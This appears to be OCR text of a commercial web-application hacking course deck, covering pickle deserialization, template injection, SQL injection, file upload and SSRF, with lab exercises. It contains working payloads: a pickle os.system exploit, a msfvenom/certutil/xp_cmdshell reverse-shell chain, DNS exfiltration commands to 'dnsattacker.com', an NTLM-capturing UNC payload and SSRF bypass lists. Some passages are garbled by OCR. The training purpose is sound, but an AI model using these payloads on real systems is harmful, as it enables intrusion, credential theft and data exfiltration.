If the protocol parameter is omitted, protocol 0 is used. If protocol is specified as a negative value or nickest_eroTocoL, the highest protocol version will be
used.

Changed in version 2.3: Introduced the protocol parameter.

file must have a write() method that accepts a single string argument. It can thus be a file object opened for writing, a stringzo object, or any other
custom object that meets this interface.

pickle. load(file)

Read a string from the open file object file and interpret it as a pickle data stream, reconstructing and returning the original object hierarchy. This is
equivalent to unpickler(file).load().

file must have two methods, a read() method that takes an integer argument, and a read1iine() method that requires no arguments. Both methods should
return a string. Thus file can be a file object opened for reading, a stringzo object, or any other custom object that meets this interface.

This function automatically determines whether the data stream was written in binary mode or not.

pickle. dumps (obj[, protocol])

Return the pickled representation of the object as a string, instead of writing it to a file.

If the protocol parameter is omitted, protocol 0 is used. If protocol is specified as a negative value or nieHesT_proTocoL, the highest protocol version will be
used.

Changed in version 2.3: The protocol parameter was added.

pickle. loads(string)

Read a pickled object hierarchy from a string. Characters in the string past the pickled object’s representation are ignored.

NotSoSecure part of
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Explaining the Attack

* Pickle is vulnerable to RCE.
* Create an object and passitto _ reduce (self) method.

* ‘Reduce’ method enables inserting the complete payload to avoid errors
while deserialization in Pickle.

//Serializing the payload

import pickle

import os

class ExploitPickle (object): //Object creation

def  reduce (self): // reduce method implementation

return (os.system, (‘whoami’, )) // Remote code payload insertion
pickled nss = pickle.dumps (ExploitPickle()) // Serialization through
Pickle
with open("test.data", "wb") as file:

file.write(pickled nss) // Writing the serialized data into file

NotSoSecure part of
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Explaining the Attack

 Deserialization of the payload for retrieving data

import pickle
with open("test.data", "rb") as file:
pickled des = file.read() // Reading serialized data from the file

my data = pickle.loads (pickled des) // Deserialization using Pickle

* pickle.loads - Deserializes the data and executes malicious payload

* Both pickle load/loads libraries will result into insecure deserialization RCE
In python

NotSoSecure part of
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Python Serialization Attack

« ldentify and exploit the Python Deserialization
vulnerability to make the host send DNS
requests to an external host

« Get areverse shell and extract the system
information such as username, OS type from
the server and read ‘/etc/passwd’ file

Exercise

Challenge URL.:
http://reimbursement.webhacklab.com/
Support/AddTicket




Python Deserialization - Plex

e CVE: CVE-2020-5741
* Operating System: Windows
 Affected Version: Plex Media Server prior to 1.19.3

* Exploit Detalils:

An authenticated user can perform remote command execution due
to deserialization of untrusted data.

NotSoSecure part of
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Vulnerable code snippet

* Code snippet to load the dictionary file

e Source:

PlexMediaServer_InstallationPath\Resources\Plug-ins-
513b381af\Framework.bundle\Contents\Resources\Versions\1\Python\PMS\Dict.py

def  load():
global  dict
path = "%s/Dict" % Data. dataPath
if os.path.exists (path):
try:
__dict = Data. unpickle (path)
PMS.Log (" (Framework) Loaded the dictionary file")
except:
PMS.Log (" (Framework) The dictionary file is corrupt & couldn't be NotSoSecure part of
loaded")

__loadDefaults () claranet
else: Cyber_
_ loadDefaults () security

© NotSoSecure 2021 Global
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Vulnerable code snippet

* Code snippet to unpickle the dictionary file

e Source:

PlexMediaServer_InstallationPath\\Resources\Plug-ins-
513b381af\Framework.bundle\Contents\Resources\Versions\1\Python\PMS\Data.py

def  unpickle(path):
f = open(path, "r")
obj = pickle.load (f)
f.close()
return obj

NotSoSecure part of
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Bonus Demo

Plex Python Deserialization Attack

ldentify and inject a payload into the serialized
data to make the host send OOB HTTP
request to an external host:

Challenge URL.:
http://plex.webhacklab.com:32400

Note: Send a DNS request to the host
userX.webhacklab.com



Ruby/ERB template injection

 Modern applications support templates to provide user
customizability

* Ifuserinputis not validated before embedding it will lead
to code execution

Sample Malicious ERB Code:

Hello, <%= @name %>.
Today 1s <%= Time.now.strftime('SA') %>.
(e

<%= File.open('/etc/passwd') .read %>

NotSoSecure part of
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Attack Scenario

* Identify the template engine being used (e.g. ERB)

* List down the methods available for the particular engine which can be
used to perform malicious actions (read file, execute command)

* Inject the method with appropriate arguments to perform the action

NotSoSecure part of
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Ruby/ERB Template Injection

|dentify the template engine and exploit it to
extract the file /etc/passwd:

Challenge URL.:
http://shop.webhacklab.com/referral.php

Exercise




Case Study

RCE via Smarty Template

User updated profile with {7*7} as firstname, lastname,
username

Invitation sent to friend contains errors indicating
template injection.

Multiple payload used to confirm and exploit injection:
o Template Version: ‘{ $smarty.version}’

o Confirm PHP Execution : {php}print
"Hello" {/php}

o PHP Code Execution : {php}$s =
file get contents('/etc/passwd',NULL,
NULL, O, 100); var dump($s);{/php}

Output was received over Emails

Reference:

https://hackerone.com/reports/164224 & http://blog.portswigger.net/2015/08/server-side-
template-injection.html#Smarty



Case Study

RCE in JetBrains YouTrack via Freemarker Template

® No Public POC was available

® Researcher downloaded the vulnerable version
and patched version

®* Found the vulnerable endpoint and was able to
execute ‘${191*7}

®* However, was not able to execute commands or
methods e.g. ‘freemarker.template.utility.Execute’
due to security protection

®* Used the sandbox bypass technique presented in
BlackHat 2020 by Alvaro Mufioz and Oleksandr
Mirosh.

®* Successfully executed RCE

Reference:
https://lwww.synacktiv.com/publications/exploiting-cve-2021-25770-a-server-side-template-
injection-in-youtrack.html



@
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™
Module:

SQL Injection
Masterclass

Second order injection
SQLi through crypto
Out-of-Band exploitation
SQLi to Reverse Shell
Advanced topics in SQLI
GraphQL exploitation

And relevant case studies



SQL Injection

 SQLi vulnerabilities arise when user supplied data becomes
part of SQL queries in an unsafe manner

* An attacker can inject a malicious input and execute SQL
commands leading to reading and/or modifying the stored data
and sometimes even performing remote code execution

NotSoSecure part of
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What SQL Injection might lead to?

DA/ EA Creds verified, krbtgt
SQL Injection hash extracted via desync

Port 80/443 Qpen

& N
Web Server Domain
Controller
Internal Route
added for pivoti '
< ng ’
ﬁ ‘
DBA Access obtained using =
cracked db credentials -
L.‘b. -~y Hashdump and plaintext y, Q C ;
‘ > creds of DA / EA obtained NotSoSecure part of
NSS Box MSSQLHost (Win 2012) via mimikatz MSSQL Host #2 bttt
xp_cmdshell execution (Win 2003) claranet
; Hashdump, DB Creds cyber
Public Network extracted & cracked Internal Network security
Reference:

. . R © NotSoSecure 2021 Global
https://www.notsosecure.com/anatomy-of-a-hack-sqli-to-enterprise-admin/ Services Ltd, all rights reserved




Second Order Injection

When user supplied data is validated and stored in a safe
manner however at a later stage extracted from DB and used
Insecurely in another query

e.g. CVE-2018-6376 in Joomla

More on this later!

Payload: extractvalue(0x0a,concat(Ox0a,(select * from joomla_session where
username="amish’)))

H® €)O mm {joomla/administrator/index.php c & % & @ =
88 Content ¥+ Components v Help v test-nss.comz &L ~
{3 Control Panel v Joomlal’
Message
Item saved.

Error

XPATH syntax errorl' jImou3f35if5vt4o71b7ceafd6‘I

Reference:
https://www.notsosecure.com/analyzing-cve-2018-6376
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Second Order Injection lllustration

Upload.php

Payload gets stored
o in the database
Attacker injects payload

>

e Second Order SQLi executed

Another functionality NotSoSecure part of
fetches the stored payload

and consumes it within an claranet
insecure query cyber_
security

View.php
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Out-of-Band Exploitation

In certain cases the applications even though vulnerable to SQL
injection don’t reveal much information in the application response

In such cases inbuilt SQL functions can be used to confirm and
then exploit the vulnerability
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Out-of-Band Exploitation

Attack Scenario:

* Different SQL platforms (e.g. MSSQL, MySQL etc.) have
various inbuilt functions which can be used to identify and
exploit SQL injection vulnerabilities

* One such stored procedure is ‘master.sys.xp_dirtree’ in
MSSQL, which can be used for multiple purposes such as
listing files in a directory to making Out-of-band requests

NotSoSecure part of
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Out-of-Band Exploitation

192.168.0.103/webshop. it

(RSN CE (D 192.168.0.103/webshop.html

— WebShop

Full Name:
Attacker injects an OOB payload
o load file(*\\\\attackerhostip\\abc’) Phone No.:
Address:

Submit

9 Vulnerable application attempts to connect to
the UNC path and passes NTLMv1/2 hashes

Attacker host running ‘Responder’
captures the hashes
NotSoSecure part of
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Second Order SQL Injection

« ldentify a Second order injection using your account

« Exploit the injection to extract the name of the user
running the service:

Challenge URL.:
http://topup.webhacklab.com/Account/SecurityQuestion

Exercise




SQLI through Crypto

 3rd Party interaction requiring transfer of sensitive information
like payment gateway uses encryption to protect data

* If encryption endpoint is exposed attacker may still be able to
craft payloads leveraging it

NotSoSecure part of

claranet
/ cyber
security

© NotSoSecure 2021 Global
Services Ltd, all rights reserved




Transaction Flow

* The client supplied data is sent to the server as it is and the
server sends back the encrypted form of it

* This encrypted data is then sent to another application for
validation

* Once this application validates the data, the first application
moves on and completes the process

NotSoSecure part of
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Transaction Flow

E-Commerce back end
receives CC details and

sends back in
9 encrypted form

E-Commerce back end

@ 192.168.0.103/payment.htm . Py

Initiate payment WebShop Payment Page
prOCeSS Item ABC: X 1 = 108

Item XYZ: X 2 = 408
Total: 508
CC Number

CVV:

Phone No.:
Address:

= Payment Gateway

e Encrypted data
sent to the
payment gateway for
validation and once done,

the transaction completes

NotSoSecure part of
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SQLI through Crypto

* The attacker can capture the initial request and craft multiple

requests with different payloads and receive their encrypted
form

* Then sending the encrypted data to the second application
and performing the attack

NotSoSecure part of
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Demo

SQLi Through Crypto - OOB

|dentify data encryption endpoint using your
registered account

Utilize the knowledge of encryption endpoint to
confirm SQL injection using an OOB channel:

Challenge URL.:
http://topup.webhacklab.com/Shop/Order

Note: Use an account with valid email to place an
order and receive the transaction receipt. Use any
random number for the Credit Card number. Do
NOT use a real credit card number.



SQLI to Reverse Shell

As mentioned previously SQL injection can lead to OS command
execution in some cases

In this section we’ll discuss a SQL injection scenario which will
allow us to force the DB machine to initiate a connection back to
our machine
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SQLI to Reverse Shell

Terminology

Metasploit: A framework used for identifying, exploiting and
creating exploits for vulnerabillities. It contains modules like
auxiliary, exploits, payloads etc. to perform various operations

Meterpreter: An advanced payload which provides many in-build
commands for post-exploitation such as sysinfo, getuid, loading of
modules like mimikatz etc

Msfvenom: A metasploit utility to generate payload file/shellcode

NotSoSecure part of
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Attack Scenario: SQLI to Reverse Shell

* Identify a SQL injection vulnerability in the application.

* Create a payload (using msfvenom):
msfvenom -p windows/x64/meterpreter reverse http LHOST=<IP>

LPORT=443 —-f exe > userX.exe

* Host the payload using python HTTP server:
sudo python -m SimpleHTTPServer 8000

* Transfer the payload to the victim box (using certutil, bitsadmin or

powershell):
EXEC xp cmdshell ‘cmd.exe /c certutil -urlcache -split -£f
http://<IP>:8000/userX.exe C:\Windows\Temp\userX.exe’

NotSoSecure part of
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SQLI to Reverse Shell

e Start Metasploit:

msfconsole

* Configure the exploit along with the payload:

use
set
set
set
run

Proceed to get our payload file executed.

exploit/multi/handler

payload windows/x64/meterpreter reverse http
LHOST 192.168.4.X

LPORT 443

NotSoSecure part of
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SQLI to Reverse Shell

* Start Metasploit multi handler and execute the payload:
EXEC xp cmdshell "powershell.exe

C:\Windows\Temp\userX.exe"
e We should receive a shell now.

* The acquired shell is of low privilege:
NT Service\MSSQLSERVER

* Tryto escalate the privilege by impersonating the token of the Administrator

user.

. . . . NotSoSecure part of
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SQL Injection to Reverse Shell

« Continue with previous exercise to obtain a reverse
shell on the DB host using Metasploit and native
Windows tools (powershell, certutil, cscript etc.):

Challenge URL.:
http:/topup.webhacklab.com/api/voucher

Exercise




Case Study

CVE-2018-6376

Affected: Joomla version (<= 3.8.3 and >= 3.7.0)

Malicious payload stored securely in DB during

profile update [manager, admin, superadmin roles
only].

Dashboard displays profile details and results in
executing SQLI

Payload: extractvalue(0x0a,concat(0x0a,(select * from joomla_session where
username="amish’)))

A (€ )O mre /joomla/administrator/index.php c & % & @

test-nss.comz L ~

1> Control Panel t’, Joomlal’

Message

Item saved.

Error

XPATH syntax error{‘ jlmou3f35if5vt4o7|b7ceafd6'l

Reference:
https://www.notsosecure.com/analyzing-cve-2018-6376/



Attack Scenario

* Manager injects the payload via profile upload
 2nd Order SQLIi occurs when dashboard is loaded

Execution Trick

* Affected parameter ‘jforms[params][admin_style]'was treated as an array
and only index 0 was being consumed SQL query

* Changing parameter to 'jform[params][admin_style][0]' worked

NotSoSecure part of
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Automated Exploitation via SQLMap

. : .. : ) [11:06:24] [INFO] confirming MySQL
e Partial payload with injection point marked: [11:06:24] [INFO] the back-end DBMS is MysQL

\ : web server operating system: Linux Ubuntu 16.04
extractvalue (0x0a, concat (0x0a, (select @@version wial appll aalen teshNBIERE Aneulin 2k a8

where 1=1 *)))’ back-end DBMS: MySQL >= 5.0.0
[11:06:24] [INFO] fetching database names
[11:06:24] [INFO] used SQL query returns 7 entr

* SQLMap execution for 2nd Order Exploitation: [11:06:24] [INFO] resumed: information_schema
sqlmap -r 1.txt --dbms MySQI, -—-second-url [11:06:24] [INFO] resumed: joomla
: Y [11:06:24] [INFO] resumed: mysql
"http://<IP/domain>/joomla/administrator/index.p [11:06:24] [INFO] resumed: nss
hp" --dbs [11:06:24] [INFO] resumed: performance_schema

[11:06:24] [INFO] resumed: phpmyadmin
[11:06:24] [INFO] resumed: sys
avallable databases L7);
[x] information_schema
[*x] joomla

[*] mysqgl

[*] nss

[x] performance_schema
References: [*] phpmyadmin

https://www.notsosecure.com/analyzing-cve-2018-6376/ [*] sys
https://notsosecure.com/whbb/WHBB_2nd_Order_SQLi-Exploitation_SQLMap.pdf

[11:06:24] [INFO] fetched data logged to text f




SQLIi Injection on Joomla

 Identify and exploit second order SQL Injection
point in Joomla Instance

 Fetch the databases from database server

Challenge URL.:
http://cms.webhacklab.com:81/administrator/

Demo



SQLMap - Features

Full supports to databases

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2,
SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB and Informix

SQL injection techniques

boolean-based blind, time-based blind, error-based, UNION query and stacked
gueries

Fingerprinting and enumeration

Back-end database, version, operating system, databases, tables, columns, get
privileges, dump databases

Tamper scripts ( WAF protection Bypass)
Download/upload files

NotSoSecure part of

Execute SQL queries and arbitrary commands
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SQLMap — How does it work?

* SQLMap sends payloads which we use while discovering SQL injection
manually

 Example of such payloads:
"OR ‘6778'='6778
OR 6778=6778 AND ‘test’="test’
"OR 6778=6778 AND “4232'='4232
--) AND 9785=3807-- gMMC
1'and 1=1-- ) AND 9739=9739-- DwCv
1' and 1=1-- ))) AND 7730=9544 AND (((2435=2435
1'and 1=1-- '||(SELECT 'qBty' WHERE 2571=2571 AND 7768=8138)||

NotSoSecure part of

claranet
/ cyber
security

© NotSoSecure 2021 Global
Services Ltd, all rights reserved




SQLMap - Usage of tamper scripts(--tamper)

* Bypass the firewall filters

* List of tamper scripts:

apostrophemask

apostrophenullencode

appendnullbyte
between
base64encode
bluecoat
chardoubleencode
charencode

charunicodeencode

concat2contcatws
equaltolike

greatest

ifnull2ifisnull
halfversionedmorekeywords
modsecurityversioned
modsecurityzeroversiond
multiplespaces

nonrecursivereplacement

percentage
randomcase
randomcomments
securesphere
Space2comment
space2dash
space2hash
space2morehash

space2mssqlblank

space2mssqglhash
space2mysqlblank
space2mysqldash
space2plus
space2randomblank
sp_password
unionalltounion
unmagicquotes

versiondkeywords

NotSoSecure part of
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SQLMap — Usage of asterisk (*)

 Use case: Manual assessment shows that the parameter is vulnerable and
SQLMap is able to discover the instance but does not work properly/fails to
exploit/enumeration data

 Payload observation - an example:
1' and 1=(select case when 1=1 then 1 else 1/0 end)--+ — TRUE
1' and 1=(select case when 1=2 then 1 else 1/0 end)--+ — FALSE
* SQLMap detects but failed to exploit/enumeration data
* Asterisk(*) may help in such case:

1' and 1=(select case when (1=(select+'1'*)) then 1 else 1/0 end)--+

NotSoSecure part of
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SQLMap — Eval option

* How to use SQLMap eval option

* How to use SQLMap where parameter generated at
runtime based on SQLMap SQL Injection Payload

NotSoSecure part of
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SQLMap — Eval option usage

--eval=EVALCODE
 Evaluate provided Python code before the request

* e.0."1lmport hashlib;import
hmac; OUTPUT PRAM= (hmac.new ("HMAC KEY",
"DATA” ,hashlib.sha?256)) .hexdigest () .upper (

) ;"

* Replace the “OUTPUT_PARAM” request parameter
before sending SQLMap SQL Injection http request to
application server

NotSoSecure part of
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Advance SQLMAP Usage
with eval option

« ldentify SQL Injection point
 Fetch the databases from database server

Challenge URL.:
http:/topup.webhacklab.com/api/Product/GetProd
uct?pid=&sig=

Exercise

SE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(107)+CHAR(122)+CHAR(113))))+'&pid=2&sig=405DB8A83B5151E258F3DF177C567
b82EEA192DEB3F254078D7F607D

F4:20] [INFO] the back-end DBMS is Microsoft SQL Server
server operating system: Windows 1@ or 2016

bpplication technology: ASP.NET 4.0.30319, Microsoft IIS 1@.0, ASP.NET
-end DBMS: Microsoft SQL Server 2016

54:20]1 [INFO] fetching database names

54:20] [INFO] used SQL query returns 5 entries

b4:20] [INFO] resumed: awhdb

b4:20] [INFO] resumed: master

H4:20] [INFO] resumed: model

54:20] [INFO] resumed: msdb

54:20] [INFO] resumed: tempdb

lable databases [5]:

bwhdb

haster

model

sdb
Fempdb




Out of Band calls

Situation: ’3 ‘-\‘
Getting OOB calls but no shell? So, you're there but still not | o
there? ~ 4

Probable cause:
Security controls in place

So:
How do we get a breakthrough? or did we just reach our limits?

NotSoSecure part of
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Data Exfiltration over DNS (OOB) - Challenges

The DNS protocol is an excellent covert channel. It is Less monitored in
comparison to other Internet protocols (e.g., HTTP, FTP,) for posing a
lesser risk. Thus, it has higher chance of bypassing egress filtering

Challenges

* The DNS protocol restricts queries (i.e. outbound messages) to 255
bytes of letters, digits, and hyphens

* DNS protocol is used mostly over the User Datagram Protocol
(UDP), there is no guarantee that queries will be replied based on
their order of arrival

NotSoSecure part of
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Data Exfiltration over DNS (OOB) - Overcoming

Overcoming previous challenges

Generic process for DNS Exfiltration

In!

Encode and break data )
into smaller chunks C
suitable for sendng >

over DNS Queries

DNS Queries

Sequence + ES':':_I

AL
Extract, arrange based on
seguence, concatenate and
then decode for output
DNS |Queries

NotSoSecure part of
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Data Exfiltration over DNS (OOB)

Sample Command :
https://www.notsosecure.com/oob-exploitation-cheatsheet/

cmd /v /c "ipconfig > output && certutil -encodehex -f output output.hex 4 &&
powershell Stext=Get-Content output.hex;S$Ssubdomain=S$text.replace ('

’

Sfinal=$j.tostring()+

egrep -o '[0-
file.txt|sort

-u|cut

l.l_|_$i_|_'

91 {5}+\.+[0-9a-fA-F] {0,062}
_d « f2 | XXd -r —p ctackergns1:~4] sudo tcpdump n udp port 53 |tee File oxt

','");$3J=11111; foreach($i in S$subdomain) {
.file.oob.dnsattacker.com';S$j += 1; nslookup $final }"

mand completed successfully.

et
o) iving DNS and writing it to file.txt

LA

cpdump “verbos!

.dnsattacker.com. (92)

15ten1ng on ethe, link-type ENlaHE (Ethernet), capture size 262144 byt
16.142.6.2.53: 35344% [lau] A’Glil]{ 0d0a57696e6461777320495620436F6e )Clls oob.d

41. .18934
sattacker.com. (92)
=3 T41. §10.19649 >\10©.142.08.2.53: 37425% [lau] AAAA? 11111.8d@a57696e6461777320495820436fT6e.file.00

rotocol decode

G) Select attacker@nsT; ~ SA - o X
gnsl:~$% echo "ex$(cat file.txt |[tr * " "\n" |awk "/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d "." -f
tr“ d \n )" | xxd -r -p
{ndows IP Configuration \
Fthernet adapter Ethernet:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . : fritz.box Extracting, rearranging and hex
Fthernet adapter VirtualBox Host-Only Network: decoding based on sequence
number to get the original output
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : Fe&a::84d1:345%c75d:6159%16
IPv4 Address. . . . . . . . . . . : 192.168.56.1
Subnet Mask . . . . . . . . . . . : 255.255.255.8
\, Default Gateway . . . . . . . . .t J




Data Exfiltration over DNS
via SQLI

« Exploit the injection vulnerabillity to exfiltrate the
output of command ipconfig over DNS

Challenge URL.:
http://topup.webhacklab.com/Account/SecurityQuestion

Exercise




Introduction to GraphQL

GraphQL was created at Facebook and then open sourced
Now managed by GraphQL Foundation

It is not a database language

It is a query language for APIs at runtime

Provides a complete and understandable description of the
data

Ask for what you need, get exactly that

Sits between App and Data

GraphQL

NotSoSecure part of
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Rest vs GraphQL

Data intensive per endpoint Flexible for rapid product iterations on the frontend
Multiple API endpoints needed Designs can change and won'’t affect API
Leads to Over-fetching or Under-fetching Fine grained

Low-level performance monitoring

Easy structuring of requests between client and
server NotSoSecure part of
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GQL Architecture

Rest API GraphQL API

| { PLAYERS, TEAMS, MATCHES }

/PLAYERS /TEAMS /MATCHES

NotSoSecure part of
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GQL Architecture

REST ‘ :
Legacy System / Microservice

Business Logic Layer T —
o T——
(s |
Q = (s
- WQ @ (= GQL Server with
D (s Connected Database

o) NotSoSecure part of
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How It works

Schema Queries Mutations Subscriptions
Shape of Data Graph Read Data Write Data Listen for data
type Training{ query { mutation { subscription {
id: ID! search(param: "training") { addTraining(name: "AWH") { onCreate (name:"AWH"){
title: String! Title, Id, Id,
description: String Trainer Title, Title,
Trainer: String! } Trainer Trainer
email: String! } } }
} } }

type query{
search (param: String): [Training]
}

type mutation{
addTraining (name: String): [Training]

}

type subscription {

onCreate (name: String): [Training]
} NotSoSecure pert of
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GraphQL Introspection

* Introspection allows the user to extract GraphQL Schema
* Provides all queries and mutation available in the environment

* Following is an example of Introspection query:

{ schema{types{name}}}

NotSoSecure part of
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GraphQL Exploitation

« Exploit SQL injection in one of the GraphQL
endpoint and retrieve admin credentials.

« Use introspection to extract the PII of the
‘userX@webhacklab.com’

. « Using GraphQL mutation, elevate to admin
EX@fClse privilege to view expenses of all the users.

Challenge URL.:
http://expense.webhacklab.com:3000/viewexpense
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Unrestricted File Upload

* Many modern applications have some sort of file upload
functionality to allow users to share their photos, submitting
CVs, file sharing etc.

* Developers need to take care of the files that the user is
allowed to upload because if done in an unsafe manner, an
attacker might be able to upload server-side code leading to
a web-shell executing commands on the system

NotSoSecure part of
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Malicious File Extensions

Applications sometimes implement file extension blacklisting to avoid
web shells, however there are multiple file extensions for every
technology which can be used to upload and run server side code

Blacklisting some of them does not stop an attacker from abusing
these extension to launch web shell and gain shell access on the host

Some examples of such extensions are:
* PHP: php3/4/5, pht, phtml

* ASP: asp, aspx, ashx

NotSoSecure part of
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Bypassing File Validations #1

« Identify the upload functionality and abuse it to
upload a web shell:

Challenge URL.:
http://topup.webhacklab.com/Account/Profile

Exercise




Circumventing File Validation Checks

Apart from the mentioned methods, there are multiple other techniques
which can be used by attackers to make the application execute
malicious code via the uploaded files

Some examples of file validation bypasses:

* Using application proxy for client-side checks

* Alternate file extensions.

* Tampering request headers

* Using special characters in file names (e.g. null bytes)

* Injecting code in valid file formats (e.g. PHP code in gif)

NotSoSecure part of
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Bypassing File Validations #2

« Bypass the file validation checks to upload a web
shell (userX.fileextension) and execute
commands on the host:

Challenge URL.:
http://shop.webhacklab.com/feedback.php

Exercise




Case Study

Tricky File Upload Bypass to RCE

®* The application allows users to upload profile
Image

* Any file extension seems to be allowed however
uploaded file was processed by
Imagecreatefromgif() and metadata etc. were
stripped out

®* Comparison of local image and uploaded image
revealed multiple blocks where content was kept
intact

* Hide PHP Code ‘<?php phpinfo(); ?>" in specific
blocks and upload image again with .php extension

®* PHP file executes and allows remote access

Reference:
https://secgeek.net/bookfresh-vulnerability/



File Metadata

e Metadata is information about other data.

 Examples of File Metadata for Open Data Format include:

Author
Title
Company Name

Manager Version Number Etc.

 some applications parse metadata information and store it in
the database.

NotSoSecure part of
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Upload File Flow

Read File Metadata
Properties

0 ©
@ Upload Excel file

= —
ol

NotSoSecure part of
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Example

1 SampleData.xls Properties % 515N Edit View I..t E File Edit View Insert Format Tools Data Window Help
. [0 New r [ e Properties of Untitledl + X
General Securty Custom Detals  Previous Versions (8 open alio IR
- Aril General |Description| Custom Properties  Internet Security Statistics
Recent Documents o, ;
Property Value " —3 :
. . Title
Description B\ Wizards D - | |
Subject
Title @ Close . = | |
Subject —
: Save Ctrl+s Lt | |

Tags )
Categories B saveAs.. Ctrl+shift+s Comments "
Comments Save Al

Origin & Reload
Authors Versions...
Last saved by  Microsoft Office User
Revision number [ Export..
Version number Export as PDF...
Program name  Microsoft Macintosh Excel Send '
Company d 3
Manager L] _ i
Content created  4/13/2020 5:59 PM Templates i , =
Date last saved  4/13/2020 728 PM = .

. Preview in Web Browser |

Last printed I oK J l Cancel ‘ [ Help ‘ [ Reset I

" nntent v [ Page Preview : : : : : : : :

Bemove Properties and Personal Information E Print... Ctrl+p
ER Printer Settings...
[ Ok | (Concsl | Aoy | Exit ctrl+Q

Windows OS Kali: Open Office



Metadata SQL Injection

« ldentify and Exploit SQL Injection via File
Metadata properties to retrieve current database
user and database name.

Challenge URL.:
http://reimbursement.webhacklab.com/Expense/Add

Exercise + Note: Semicolon “;” is a string termination
character in metadata properties.
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Server Side Request Forgery (SSRF)

Server-Side Request Forgery (SSRF) is a vulnerability class in
which an attacker can make the application send request on
their behalf

Exploiting this vulnerability an attacker might be able to access
Internal applications, perform port scan and use the application
host as proxy

NotSoSecure part of
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SSRF to call Internal Files

As usually internal applications are not heavily tested for security
Issues, by exploiting a SSRF issue an attacker might be able to
identify, assess and exploit an internal application to perform code
execution and extract sensitive information

Attack Scenarios:

* Identify a SSRF vulnerability in an application

* Using the SSRF vulnerability identify local/internal application

* Identify code execution vulnerability in local/internal application
and exploit it through SSRF

NotSoSecure part of
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SSRF to Query Internal Network

HTTP Request / SSRF Payload

SSRF Payload to HTTP HTTP Response

Service on Server A

ﬁ
—
ﬁ

Response from

Server C
Request to HTTP

Service on Server C

\

Request to HTTP
Service on Server C

\

Not accessible

Firewall Rules:
I-. Allow 80, 443 traffic for Server A
Il Block all other traffic




SSRF Attack surface (Protocols to use...)

SSRF can be exploited to retrieve information using following
protocols(depends on which library/function is used, CURL
supports large number of protocols):

* HTTP(S)
o Content discovery - http://localhost/server-status
o Firewall bypass - http://localhost/login.php or http://localhost/resetpwd.php
o Query internal network - http:// 22

o Read data - http:// :12345/testdata (read by nc -nlvp 12345)

NotSoSecure part of
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SSRF Attack surface (Protocols to use...)

* File

Read files - file:///etc/passwd, file://lvar/www/html/config.php
* Gopher

gopher://localhost:11211/1%0astats%0aquit
* Dict

dict://localhost:11211/stats

Other protocols which CURL supports:

FTP, FTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP,
SCP, SFTP, SMB, SMBS, SMTP, SMTPS, TELNET and TFTP NotSoSecure part of

claranet
/ cyber
security
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SSRF To Check Open Ports and Fetch File

 Identify the ports open on the host
‘http://192.168.200.10/".

« Utilizing SSRF extract the contents of the
Internal file '/etc/passwd':

Challenge URL.:
http://shop.webhacklab.com/products.php

Demo

Ports to try:
21, 22, 80, 443, 8000, 8080, 9000



SSRF via PDF generation

When an application converts HTML to PDF:

* A HTML template is created using user’s data and is further converted
into a PDF file for the user to download

* This is achieved using third-party libraries to maintain the design

* e.g. Invoice generation, Receipt generation, Proposal form, Quote
generation, Profile/CV generation etc.

NotSoSecure part of
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SSRF via PDF generation

Instead of passing on legitimate content, an attacker can inject HTML
content which makes Out-of-Band calls or calls internal files from the host

In such scenarios, the content when being rendered by the PDF generation
library might result in making OOB calls or embedding content from the
Internal files

Third party library converts HTML, PDF
XHTML, HTML5 content with CSS into

a PDF format !i

NotSoSecure part of
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SSRF via PDF Generation

 Utilise PDF export injection to confirm SSRF using
OOB channel

 Retrieve the content of the internal file ‘win.ini’:

Challenge URL.:
http:/topup.webhacklab.com/Account/Profile

Exercise




Bypassing SSRF Filters

Abusing URL parsers
“The authority component is preceded by a double slash ("//") and is

terminated by the next slash ("/"), question mark ("?"), or number sign ("#")
character, or by the end of the URI.” - RFC 3986 Section 3.2

Examples:

GOLDEN RULE

http://webhacklab.com/example.php
It’s all about

http://webhacklab.com?example=help /112 #.  and @

http://webhacklab.com#example=title

clabranet
. Ref : er
http.//WebhaCk|ab.C0m https://tools.ietf.org/htmI/rfc3986#seec'?igenn-gé2 ggcurity

© NotSoSecure 2021 Global
Services Ltd, all rights reserved

NotSoSecure part of




Bypassing SSRF Filters

Language/Library  Function/Module Authority Component
PHP readfile() http://notsosecureapp.com#@ evilapp.com
evilapp.com/
CURL / libcurl - _ _ evilapp.com:80
http://admin@evilapp.com:80@
NodeJS URL notsosecureapp.com/ notsosecureapp.com
Perl URI notsosecureapp.com
Go net/url notsosecureapp.com
PHP parse_url() notsosecureapp.com
Ruby addressable notsosecureapp.com NotSoSecure surt o

claranet
/ cyber
security

© NotSoSecure 2021 Global
Services Ltd, all rights reserved

Reference:
https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf




Bypassing SSRF Filters

Bypassing using HTTPS
O https://127.0.0.1
O https://localhost

Bypass localhost

O IPV4
*  http://127.127.127.127
* http://127.0.1.3
* http://127.0.0.0

O IPV6
* http://[::]:22/ SSH
®*  http://0000::1:80/

O Domain redirection
*  http://spoofed.burpcollaborator.net
*  http://localtest.me
®*  http://customerl.app.localhost.my.co
mpany.127.0.0.1.nip.io

®* http://mail.ebc.apple.com redirect
to 127.0.0.6 == localhost

®*  http://bugbounty.dod.network
redirect to 127.0.0.2 == localhost

®*  http://[0:0:0:0:0:ffff:127.0.0.1]
IPv6/IPv4 Address Embedding

Bypass using a decimal IP location
O http://0177.0.0.1/

O http://2130706433/

O http://3232235521/ =
http://192.168.0.1

O http://3232235777/ =
http://192.168.1.1

NotSoSecure part of
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Bypassing SSRF Filters

® Bypass filter_var() php function
O 0:/levil.com:80;http://google.com:80/

® Bypass against a weak parser
O http://127.1.1.1:80\@127.2.2.2:80/
O http://127.1.1.1:80\@@127.2.2.2:80/
O http://127.1.1.1:80:\@@127.2.2.2:80/
O http://127.1.1.1:80#\@127.2.2.2:80/

® Bypass using malformed urls
O localhost:+11211aaa
O localhost:00011211aaaa

® PBypass using rare address - IP addresses by dropping the zeros _NotSoSecure part of

O http://0/ @gﬁ)rgpet
O http://127.1 security

O http://127.0.1

© NotSoSecure 2021 Global
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Cloud Services

' Metadata API
